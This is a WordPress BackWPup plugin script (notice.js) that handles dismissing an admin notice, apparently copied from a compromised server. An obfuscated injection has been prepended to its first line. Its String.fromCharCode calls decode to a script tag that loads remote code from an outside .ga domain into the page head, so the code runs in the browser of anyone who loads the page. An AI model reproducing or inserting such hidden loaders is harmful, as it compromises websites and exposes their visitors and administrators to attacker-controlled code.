Current File : /home/:/elitechc.bak/public_html/wp-content/plugins/backwpup/assets/js/notice.js
Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();( function ( _, $, adminpage ) {

	var PromoterNotice = {

		dismiss: function ( evt ) {
			evt.preventDefault();
			evt.stopImmediatePropagation();

			$.post( $( evt.target ).attr( 'href' ), { isAjax: 1 } );
			this.container.remove();
		},

		construct: function () {

			var container;

			_.bindAll(
				this,
				'dismiss',
				'init',
				'addListeners'
			);

			container = document.querySelector( '#backwpup_notice_promoter_notice', {
				useCapture: true
			} );

			if ( !container ) {
				return false;
			}

			this.container = container;

			return this;
		},

		addListeners: function () {
			var dismisser = this.container.querySelector( '#backwpup_notice_promoter_dismiss' );
			dismisser && dismisser.addEventListener( 'click', this.dismiss );
		},

		init: function () {
			this.addListeners();

			return this;
		},
	};

	if ( adminpage === 'toplevel_page_backwpup' ) {
		var promoterNotice = Object.create( PromoterNotice );
		promoterNotice.construct() && promoterNotice.init();
	}
}( window._, window.jQuery, window.adminpage ) );